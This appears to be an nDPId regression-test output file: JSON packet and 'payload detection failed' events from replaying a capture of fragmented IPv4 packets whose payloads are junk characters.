+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81054,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81106,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81142,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81373,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81399,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81501,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81513,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":81527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} 